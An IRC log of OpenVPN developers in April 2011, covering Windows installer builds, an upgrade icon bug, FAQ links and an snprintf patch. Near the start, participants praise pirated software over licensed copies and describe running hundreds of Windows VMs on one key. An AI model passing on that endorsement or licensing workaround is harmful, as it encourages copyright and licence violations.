to assemble the VM from virtual bits 14:30 <@dazo> heh 14:30 <@mattock> doesn't get any faster than that, so much clicking 14:30 <@mattock> and "Yes -> Yes -> Yes -> Yes -> Yes I am sure" rounds 14:30 <@cron2> mattock: do you know that most of windows installation can be fully automated? 14:30 <@mattock> oh, an "I accept these license terms" 14:30 * cron2 runs 14:30 <@mattock> cron2: I do 14:31 <@mattock> actually, I've played a little with Windows installation automation 14:31 <@mattock> just doesn't make sense unless we want a Windows build farm :) 14:31 <@cron2> might speed up windows building even more! 14:32 <@cron2> (but then it might be more convenient to just clone the VM) 14:32 <@mattock> I actually had to play with a crappy limited version of Vista and inject drivers to it etc 14:32 <@mattock> cloning windows is difficult because of the license crap 14:33 <@mattock> cloning as in "dd if=<something> of=<something>" 14:34 <+krzee> nah you just copy the vm file 14:34 <+krzee> at least in vmware it works fine 14:34 <@mattock> yep, but wouldn't windows would freak out if the same VM was active in two places 14:34 <@mattock> ? 14:34 <@mattock> "Genuine Disadvantage" 14:35 <+krzee> oh, you use legit versions? 14:35 <+krzee> ive never actually done that 14:36 <+krzee> whats it like? 14:36 <@mattock> genuinely disadvantageous 14:37 <@mattock> there's really no good technical reason to use legit versions 14:37 <@mattock> same for music and videos 14:38 <@mattock> legit versions are crappier than pirated ones 14:38 <@cron2> mattock: you copy the VM, vmware will assign a new GUID and you get to install a new key. 14:38 <@cron2> or you tell vmware "leave me alone!" and you can run 100s of copies with the same key 14:38 <@cron2> (not very legal, tho) 14:53 <@vpnHelper> RSS Update - testtrac: Added man page entry for --management-client <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=cffcefac8f227fc75772eb5f531eafc7ab1593e5> || Update man page with info about --remote-random-hostname <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6215e11e2b864085c0b55fff631f81b2cc587f69> 14:55 <@raidz> mattock: we have msdn key you can use, they are not locked down to one machine 14:55 <@dazo> mattock: git tree updated again with the last outstanding man page updates ... unless I've overlooked something on the ML 14:57 <@dazo> mattock: if you're not spinning anything yet ... I'd like to get this patch into as well ... http://thread.gmane.org/gmane.network.openvpn.devel/4584/focus=4585 14:57 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:58 <@dazo> if you're spinning the preview ... I'll just put it into master 15:03 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:06 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:06 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:40 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 15:40 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 15:45 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 250 seconds] 16:10 -!- dazo is now known as dazo_afk 16:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:10 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:29 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 258 seconds] 17:11 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:00 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 20:27 -!- andj is now known as andj_afk 20:28 -!- andj_afk is now known as andj 21:10 -!- andj is now known as andj_afk 23:18 -!- jamesyonan_ [~jamesyona@ec2-50-17-74-108.compute-1.amazonaws.com] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 23:19 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 23:23 -!- jamesyonan_ [~jamesyona@ec2-50-17-74-108.compute-1.amazonaws.com] has quit [Ping timeout: 250 seconds] --- Day changed Fri Apr 15 2011 00:11 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:11 -!- mode/#openvpn-devel [+v krzie] by ChanServ 00:15 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 00:50 -!- andj_afk is now known as andj 01:35 -!- andj is now known as andj_afk 01:43 <@mattock> cron2: oh, vmware is that sneaky, nice :) 01:44 <@mattock> dazo: oh yes, that one 01:44 <@mattock> that shouldn't affect the Windows installer, though 01:44 <@mattock> I'll create the preview installer later today 01:46 -!- dazo_afk is now known as dazo 02:14 <@dazo> mattock: I know official hate VS C compiler ... it is completely stupid and lost between two chairs ... 02:14 <@mattock> how come? 02:14 <@dazo> it warns about 'static char static *' declarations 02:14 <@dazo> and ... it don't handle standard C declarations 02:14 <@dazo> which I use in the plugin v3 api .... 02:15 <@dazo> struct openvpn_plugin_args_open_in args = { .type_mask = p->plugin_type_mask, 02:15 <@dazo> .argv = o->argv, 02:15 <@dazo> .envp = envp }; 02:15 <@dazo> this one makes it stop completely 02:15 <@dazo> http://msdn.microsoft.com/en-us/library/x9db2t0x.aspx 02:15 <@vpnHelper> Title: Compiler Warning (level 1) C4114 (at msdn.microsoft.com) 02:15 <@dazo> http://msdn.microsoft.com/en-us/library/t8xe60cf%28v=vs.80%29.aspx 02:15 <@vpnHelper> Title: Compiler Error C2059 (C++) (at msdn.microsoft.com) 02:16 <@mattock> microsoft and standard... a winning combination? 02:16 <@mattock> standards 02:16 <@dazo> I'm trying to compile the master branch ... so that's where I hit this 02:16 <@dazo> heh 02:16 <@dazo> yeah .... it's just "our standards" and nothing else 02:17 <@dazo> If find it amusing that if you use #ifdef TEST ... printf("TEST is %d", TEST); ... #endif ... is not valid in VS 02:18 * dazo tries something else for testing a patch 02:18 <@mattock> I'm surprised openvpn builds at all with VS2008 compiler 02:20 <@dazo> heh 02:21 <@dazo> well, the master branch got the new v3 plug-in API which beta2.2 does not 02:27 <@dazo> I tested the config.h.in patch from Gisle Vanem now (beta2.2 + patch) and it compiles fine without warnings and quick smoketest starts openvpn.exe 03:05 <@mattock> excellent! 03:05 <@mattock> dazo: is it in beta2.2 already? 03:05 <@mattock> also, are you using the build computer? 03:06 <@dazo> I logged out now (I also kicked out administrator) 03:06 <@dazo> I'm about to push any second now 03:06 <@mattock> oh, you did... :) 03:08 <@dazo> :) 03:09 <@dazo> you were also logged in ... and an idle administrator (for more than 1 day) was too idle for my taste :-P 03:12 <@dazo> mattock: git tree pushed ... so it's ready 03:12 * dazo starts looking at a changelog update 03:12 <@mattock> ok, I'll generate the preview installer then 03:13 <@dazo> 15 patches, mostly docs changes this time 03:15 <@mattock> still surprisingly many 03:16 <@dazo> 5 docs, 3 build system, CRLF->LF, 3 bugfixes, 1 compile enhancement 03:16 <@dazo> sorry, 13 changes 03:16 <@dazo> s/changes/commits/ 03:18 <@dazo> mattock: http://www.fpaste.org/Hg24/ 03:19 <@mattock> looking nice and conversative 03:20 <@dazo> It is conservative, which a RC -> release should be, IMHO 03:21 <@dazo> mattock: did we decide not to change the TAP_RELDATE, to avoid building/signing a new TAP driver? 03:22 <@mattock> I think so, yes 03:22 <@mattock> I sent James email about that 03:22 <@mattock> if he says not changing it is a bad idea, then we should reconsider 03:22 <@mattock> but I doubt it 03:23 <@dazo> the cleanest would be to get it correct now ... but the delay of getting it signed is making me reluctant 03:24 <@mattock> yep, I think so too 03:25 <@mattock> james apologized about not being able to attend the meeting, but he was swamped and had worked (too) late as usual 03:26 <@mattock> anyways, 2.2-preview-1 is now here: http://build.openvpn.net/openvpn-2.2-preview-1-install.exe 03:26 <@mattock> I'll smoketest it quickly and then announce it on -devel 03:27 <@dazo> goodie! 03:29 <@mattock> seems to work 03:39 * dazo finally begins to smell a 2.2 release 03:39 <@dazo> 4 months delayed ... but, not bad for the first community release anyway :) 03:47 <@dazo> mattock: I see that buildbot is complaining about some test failures ... is that some work in progress? 03:47 <@mattock> yep 03:47 <@mattock> dazo: very much wip 03:47 <@dazo> okay, then I won't worry too much about that :) 03:47 <@mattock> ipv6-related 03:47 <@mattock> I'll fix those for good after 2.2 release... 03:48 <@mattock> mail sent 03:48 <@mattock> I'll try to reproduce the infamous 4 icon bug 03:49 <@dazo> if we find this one ... that'll be the last commit going into the 2.2.0 release 03:50 <@dazo> I tried to reproduce it using WINE and inotify on the the desktop creation ... install 2.2-beta5, upgrade to 2.2-RC2, uninstall, reinstall, freshinstall, you name it ... but it didn't behave differently at all 03:50 <@dazo> so I suspect this is very Windows version dependent 03:55 <@mattock> On Windows 7 upgrade from 2.2-RC to 2.2-preview-1 worked like a charm 03:55 <@mattock> I'll try XP 03:59 <@mattock> yeah, on XP an extra icon is generated 04:00 <@mattock> most likely the uninstaller on 2.2-RC2 and later doesn't find the proper icon to delete 04:01 <@mattock> and this probably has to do with the "Vista and later" start menu uninstall fix 04:01 <@dazo> ahh 04:04 <@mattock> do we still have this issue: "Temporary snprintf-related fix to service-win32/openvpnserv.c" 04:04 <@mattock> ? 04:06 <@mattock> yep, most likely the start menu fix 04:06 <@mattock> introduced between 2.2-RC and 2.2-RC2 04:07 <@mattock> most likely the SetShellVarContext all in "uninstall" section 04:11 <@dazo> yuck 04:12 <@dazo> yeah, we still have that one outstanding 04:13 <@dazo> we should have that fixed as well 04:14 <@mattock> ok, this is how it works 04:14 <@mattock> in 2.2-RC the icon was installed only for "current" user 04:14 <@mattock> in 2.2-RC2 that was changed to "all users", so that Vista+ could uninstall the start menu entries properly 04:14 <@mattock> so, if upgrading from 2.2-RC (or older) to 2.2-RC2 (or later), the desktop icon is not deleted 04:15 <@dazo> ahh 04:15 <@mattock> because 2.2-RC2 uninstaller tries to delete "all users" icon 04:15 <@mattock> so, updates from a 2.2-RC2+ to another 2.2-RC2+ release won't trigger this 04:15 <@mattock> just tested 04:15 <@dazo> is it possible to add an extra check for this? if the 'non-all-users' icon exists, delete it 04:15 <@mattock> yep 04:16 <@dazo> because upgrades from 2.1.x will cause this to happen, I presume 04:16 <@mattock> I'm thinking of adding extra check and making a comment: "FIXME: remove this when 2.3 is released" 04:16 <@dazo> agreed 04:16 <@mattock> I'll do that after lunch, then, should be trivial 04:16 <@dazo> well, I'd say after 2.3 release 04:17 <@dazo> it might be users doing 2.1->2.3 upgrades directly 04:17 <@mattock> I'll file a bug report for reference 04:17 <@dazo> goodie! 04:17 <@mattock> yep, sounds good 04:26 <@mattock> https://community.openvpn.net/openvpn/ticket/120 04:26 <@vpnHelper> Title: #120 (Upgrading from 2.2-RC to 2.2-RC2 or later leaves extra GUI icon on the desktop on WinXP) – OpenVPN Community (at community.openvpn.net) 04:28 <@vpnHelper> RSS Update - tickets: #120: Upgrading from 2.2-RC to 2.2-RC2 or later leaves extra GUI icon on the desktop on WinXP <https://community.openvpn.net/openvpn/ticket/120> 07:15 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 258 seconds] 07:24 <@mattock> interesting... sometimes when upgrading from RC to RC2+ usually only 1 extra icon is added, sometimes 3 07:24 <@mattock> +3 icons smells like a NSIS bug 07:33 <@mattock> it seems openvpn installer does not run any uninstaller when upgrading, except for the TAP-driver 07:33 <@mattock> I'll add the icon removal to the preinstall section 07:48 <@mattock> seems to work 07:48 <@mattock> smoketested on winxp and win7 07:57 <@mattock> sent to ml 08:11 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 08:11 -!- andj_afk is now known as andj 08:35 <@mattock> krzee: re: anchors 08:36 <@mattock> I don't think there's any way to fix the anchors 08:36 <@mattock> the FAQ was originally a flat web page 08:36 <@mattock> current FAQ is dynamically created by Joomla, and each question is a separate article 08:37 <@mattock> for example: http://openvpn.net/index.php/open-source/faq/75-general/305-what-is-the-difference-between-a-tun-device-and-a-tap-device.html 08:37 <@vpnHelper> Title: What is the difference between a TUN device and a TAP device? (at openvpn.net) 08:37 <@mattock> the links should point to those, if possible 08:37 <@mattock> I tried looking for some anchor-specific settings from that dynamically created page, but found none 08:41 <+ecrist> they can still be fixed, it's just a matter of someone figuring out how to do it 08:41 <+ecrist> unfortunately, only a few people have access to the site... 08:41 <@mattock> this is something I'd leave to Frank 08:42 <@mattock> it's possible to edit Joomla pages directly in HTML 08:42 <@mattock> however, this page is automatically generated, so there's not even a placeholder page for it 08:42 <+ecrist> you can embed links in articles, right/ 08:42 <+ecrist> ? 08:43 <+ecrist> that's all an anchor is. 08:43 <@mattock> yes, put this page does not exist in HTML, except when it's loaded by the browser 08:43 <@mattock> joomla generates it on the fly 08:43 <+ecrist> I understand that 08:43 <@mattock> so I can't add anchors to it 08:43 <+ecrist> you can add anchors to the articles, is what I'm saying 08:44 <@mattock> yes, that's correct 08:44 <@mattock> but adding anchors in this case would require changing Joomla's page autogeneration code/configuration 08:44 <@mattock> I'll ask if it's doable, I have no clue myself 08:45 <@mattock> the alternative is to make the page more static, or better yet, move it to the Wiki 08:49 <+ecrist> wiki seems a more sensible place for it, imho 08:52 <@mattock> how many links to the FAQ are we talking about? 08:52 <@mattock> and where are they? 08:53 <@mattock> I'll also ask Frank how to insert (wiki) redirects to Joomla 08:55 <+ecrist> they're all over the place, mattock 08:56 <@mattock> ok 08:56 <+ecrist> people have been linking to them for years 08:56 <@mattock> that's what I thought 08:56 <@mattock> I'll mention that to Frank 08:57 <@mattock> I think it'd be best if we got the anchors to current FAQ somehow and then insert redirects to the Wiki 08:59 <@mattock> mail sent 09:00 <@mattock> btw. Kaspersky whitelisted openvpn uninstallers for 2.2-RC2 and 2.1.4 09:00 <@mattock> I think reiffert stumbled upon that Kaspersky false positive 09:04 <@dazo> mattock: it's the second patch you submitted which should be applied? 09:05 <@mattock> yep 09:05 <@mattock> there's one unnecessary line in the first one 09:05 <@dazo> I'll take care of that now ... then it's just the snprintf() issue 09:05 <@mattock> yep 09:05 <@mattock> btw. I forgot to CC you... I responded to Carsten already 09:06 <@mattock> saying essentially the same things 09:06 <@mattock> :P 09:06 <@dazo> good :) then he knows we're on the same page ;-) 09:13 <@vpnHelper> RSS Update - testtrac: Fixed a bug with GUI icon deletion on upgrade from 2.2-RC or earlier <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6d1d08f6792109a4a4cdd9cd0936fd4338c76fa1> 10:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:05 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:49 -!- dazo is now known as dazo_afk 14:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:51 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:33 -!- andj is now known as andj_afk 16:38 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:28 -!- jamesyonan_ [~jamesyona@ec2-50-16-83-18.compute-1.amazonaws.com] has joined #openvpn-devel 17:28 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 17:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 17:32 -!- jamesyonan_ [~jamesyona@ec2-50-16-83-18.compute-1.amazonaws.com] has quit [Ping timeout: 260 seconds] 17:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 17:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Sat Apr 16 2011 02:18 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 06:43 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 11:05 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+v krzie] by ChanServ 12:10 -!- waldner [~waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 12:11 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 12:11 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 12:11 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 15:47 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:47 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:57 <@cron2> k/sb end --- Day changed Sun Apr 17 2011 00:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 06:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:06 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:24 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds] 14:31 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 14:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:50 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:13 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:22 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 15:43 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:13 <@vpnHelper> RSS Update - tickets: #121: documented option: --capath <https://community.openvpn.net/openvpn/ticket/121> 16:29 <+krzee> mattock, 16:29 <+krzee> [14:28] <krzee> !/30 16:29 <+krzee> [14:28] <vpnHelper> "/30" is (#1) http://openvpn.net/index.php/open-source/faq/77-server/273-qifconfig-poolq-option-use-a-30-subnet-4-private-ip-addresses-per-client-when-used-in-tun-mode.html (sorry for the long link, they wont fix the anchors) explains why routed clients each use 4 ips, or (#2) you can avoid this behavior by reading !topology, or (#3) so by default, first client is .6, then .10 .14 .18 etc etc 16:29 <+krzee> lol 16:33 <@vpnHelper> RSS Update - tickets: #122: documented option: --connect-timeout <https://community.openvpn.net/openvpn/ticket/122> 16:38 <+krzee> ooo a bug in the howto 16:38 <+krzee> ccd/contractor2 16:38 <+krzee> ifconfig-push 10.8.2.5 10.8.2.6 16:39 <+krzee> rajkosto should be making a trac ticket 23:29 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Mon Apr 18 2011 00:04 -!- dazo_afk is now known as dazo 00:04 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 00:21 -!- dazo is now known as dazo_afk 02:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 08:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:40 <@dazo> mattock: any responses on the 2.2-previews ? 10:34 <@mattock> dazo: haven't check mails in a while, but no 10:35 <@dazo> just wondering if I should tag the tree or not ... if not, I'm considering to sneak in yet another document patch 10:50 <@mattock> can you postpone taggin until tomorrow morning? 10:50 <@mattock> oh, wait, I'll take really quick look at my mails :) 10:51 <@mattock> dazo: no mails regarding 2.2-previews 10:52 <@dazo> sure, I can hold back the tagging 10:52 <@dazo> then I'll squeeze in that extra patch 10:52 <@dazo> and 10:52 <@dazo> we still lack the snprintf() fix :/ 10:52 <@mattock> oh yes... what about fixing it with simple code duplication? 10:53 <@mattock> I recall that was the least bad solution 10:53 <@mattock> does not generate build-time dependencies between openvpnserv.exe and openvpn.exe 10:53 <@mattock> ...got to split, be back later 10:53 <@dazo> I honestly don't remember all pro/cons from the discussion ... I'll try to find some time to dig into that again 10:53 <@dazo> this evening 11:29 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:37 -!- dazo is now known as dazo_afk 14:38 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Day changed Tue Apr 19 2011 02:36 -!- andjl [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 02:37 -!- andjl is now known as andj 02:45 -!- Netsplit *.net <-> *.split quits: andj_afk 03:32 -!- dazo_afk is now known as dazo 07:47 <@mattock> dazo, cron2: I disabled test #2... now buildbot does not give build failures anymore 07:47 <@mattock> really fixing the problem takes a bit more time 07:56 <@dazo> okay, sounds like the best right now 08:18 <@mattock> did you have time to check out the snprintf fix options? 08:23 <@cron2> mattock: what is test #2? 08:24 <@mattock> cron2: just a sec 08:24 <@cron2> in my t_client.rc, that's point-to-multipoint via TCP 08:24 <@cron2> that should be no different from p2mp via UDP - and if it is, it needs fixing 08:25 <@mattock> # Test 2: TCP / p2mp tun 08:25 <@mattock> other tests pass just fine (with IPv6 disabled, no support for it here) 08:27 <@cron2> "just disabling tests that fail" is not the way to go 08:58 <@dazo> agreed, not the solution for long term ... however, while figuring out why it fails, that's another story 11:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:11 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 11:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:11 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 260 seconds] 12:54 <@dazo> mattock: I've been looking at the openvpnserv.c / mysnprintf() / openvpn_snprintf() code 12:55 <@dazo> mysnprintf() looks more like a quick hack to me, in the current shape ... and openvpn_snprintf() in buffer.c makes more sense 12:56 <@dazo> as the discussion on the ML ruled out compiling in buffer.[co] into openvpnserv.exe ... I'd say that openvpn_snprintf() is so little, tiny and well defined that copy-paste of this function to openvpnserv.c makes more sense 12:56 <@dazo> but it should be copied as a function and not ported into openvpnserv.exe as a macro, which is the case now 12:59 <@dazo> Of course this is all under the disclaimer that I don't know much about the proper way how to do such things "the microsoft way" ... but considering that the openvpn code uses openvpn_snprintf() across all platforms, it should be decent enough to re-use 13:00 <@dazo> for more info, on which I used as a reference: http://social.msdn.microsoft.com/forums/en-US/vcgeneral/thread/2b339bdf-7ab1-4a08-bf7e-e9293801455b/ 13:00 <@vpnHelper> Title: C99 standard snprintf() function ? (at social.msdn.microsoft.com) 13:36 -!- dazo is now known as dazo_afk 14:19 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:49 -!- andj is now known as andj_afk 20:31 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:44 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:44 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:26 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 246 seconds] --- Day changed Wed Apr 20 2011 00:21 -!- andj_afk is now known as andj 00:55 -!- rommel [rommel@119.93.51.34] has joined #openvpn-devel 00:56 < rommel> good day! is this the place to wish ? 00:56 <+krzie> !wishlist 00:56 <@vpnHelper> "wishlist" is https://forums.openvpn.net/viewforum.php?f=10 for the openvpn wishlist 00:56 <+krzie> that is 00:57 < rommel> I have posted my wish there Krzie. and it is about other protocol other than tcp and udp. Just to let the channel know. thank you. 00:58 < rommel> :) 00:58 -!- rommel [rommel@119.93.51.34] has left #openvpn-devel [] 02:37 -!- rommel [~rommel@119.93.51.34] has joined #openvpn-devel 02:42 -!- rommel [~rommel@119.93.51.34] has quit [] 03:06 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 248 seconds] 03:06 -!- dazo_afk is now known as dazo 03:08 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 06:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:41 <@d12fk> dazo: what's the right git branch to develop patches against? 06:42 <@dazo> d12fk: now it is 'master' ... that's where everything new happens 06:42 <@d12fk> ok 06:42 <@dazo> (that's basically beta2.2, bugfix2.1 and feat_misc merged) 06:47 <@dazo> mattock: did you see my comments yesterday regarding mysnprintf()? 06:47 <@mattock> dazo: not yet, lemme check 06:50 <@mattock> dazo: on this channel? 06:50 <@dazo> mattock: yeah :) 06:50 <@mattock> I missed that 06:50 <@dazo> 15:58 UTC+2 :) 06:51 <@dazo> mattock: http://www.fpaste.org/6DFu/ 06:53 <@mattock> yep, that was my recollection of the earlier discussion 06:53 <@mattock> copy-and-paste sounds good 07:00 <@mattock> dazo: you got a patch ready? 07:01 <@dazo> not yet, but I can ... unless you want to ... however, it's getting more hectic for me again ... I have a new kernel release soon on my table 07:04 <@dazo> (that means the ~2-3 next week, I can't have too much attention on other things) 07:16 <@dazo> mattock: http://www.fpaste.org/E0fw/ ... here's a quick shot at a patch ... if you can take that one for a test ride, you can send the patch the mailing list (commit + format-patch) 07:18 <@mattock> I can test this today evening or tomorrow morning... then if somebody ACKs it, the tree could be tagged tomorrow evening 07:18 <@mattock> however, I got to check whether the guys at company are having Easter holidays or something 07:18 <@mattock> in that case the release has to be postponed until early next week 07:19 <@dazo> I probably shouldn't ACK this patch, even if you send it under your name ;-) ... but maybe d12fk or cron2 have time to have a look at it? 07:23 <@dazo> mattock: I believe the US btw only have Friday and Monday off 07:24 <@mattock> I'm traveling to Eastern Finland tomorrow, so I won't be of much use after ~14:00 UTC 07:24 <@mattock> e.g. in the meeting or in making a release 07:24 <@mattock> so it would have to happen on Friday, or maybe Tuesday 07:24 <@mattock> (if they're having easter holidays) 07:24 <@dazo> yeah, then that's how it is :) 07:25 <@dazo> if we get things ACKed soon, I'll be able to tackle this one tomorrow ... I have off tomorrow in addition to Friday and Monday, so I can finalize the tree for this 07:26 <@dazo> release 07:41 <@mattock> excellent! 07:41 <@mattock> I can prepare the staging server for release tomorrow 07:42 <@mattock> and actually generate all non-Windows packages (Debian, Ubuntu) as they're unaffected by this patch 07:45 <@dazo> mattock: please, let's make all patches from the same git commit head ... just to be sure 07:46 <@dazo> if all bases have the same commit base, we don't need to chase ghosts if something odd should happen 07:47 <@mattock> yeah, that's true 07:48 <@mattock> although in this it has to be _really_ odd :D 07:48 <@mattock> but I agree 07:50 <@dazo> I can handle such tricks on betas and maybe RCs ... but we should really avoid it on full releases :) 08:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:21 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 09:35 <@d12fk> cron2: ieproxy.* seems obsolete. it's not referenced anywhere according to git grep 09:35 <@d12fk> upp i meant dazo 09:36 <@dazo> proxy.c:#include "ieproxy.h" 09:36 <@d12fk> $ git grep -l getIeHttpProxyError 09:36 <@d12fk> ieproxy.c 09:36 <@d12fk> ieproxy.h 09:36 <@dazo> ahh 09:36 <@d12fk> same for getIeHttpProxy() 09:37 <@dazo> agreed, that's a nice clean up 09:37 <@dazo> d12fk: if you can mail a patch cleaning up that, I'll ack it and squeeze it into the 2.2 release 09:37 <@dazo> it can be based on master, and I'll cherry-pick it for beta2.2 09:37 <@d12fk> i'll include it in the win32 proxy overhaul for 2.3 09:38 <@dazo> okay, even better 09:38 <@dazo> d12fk: thx a lot for looking into this! 09:40 * dazo wonders how much of the code is really laying around dead ... 11:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:03 -!- dazo is now known as dazo_afk 13:32 <@cron2> mmmh 13:32 <@cron2> is jjk around? 13:35 -!- Irssi: #openvpn-devel: Total of 17 nicks [5 ops, 0 halfops, 3 voices, 9 normal] 13:35 * ecrist looks, doesn't see him in /names 14:29 -!- dazo_afk is now known as dazo 14:30 <@dazo> cron2: jjk is usually not around so late ... he is usually just online during his working hours, when he is here 14:34 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:39 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 15:56 -!- andj is now known as andj_afk 16:11 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:38 -!- dazo is now known as dazo_afk --- Day changed Thu Apr 21 2011 00:39 -!- andj_afk is now known as andj 00:52 -!- andj is now known as andj_afk 02:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:35 <@cron2> dazo: well, let's see whether he'll show up today :) 03:30 <@mattock> dazo: if we got a new buildslave, which OS would be better choice: CentOS/Redhat 6 or latest Fedora? 03:59 <@mattock> dazo: the openvpn_snprintf patch breaks openvpnserv.exe build: http://pastebin.com/stJKgGLi 04:46 <@d12fk> oh man, windows proxy (auto) configuration is tragic 04:47 <@d12fk> here's my plans for the patchset 04:47 <@d12fk> 1) check user and connection specific IE proxy settings, do auto-config if configured 04:48 <@d12fk> 2) check system wide WinHTTP static proxy settings 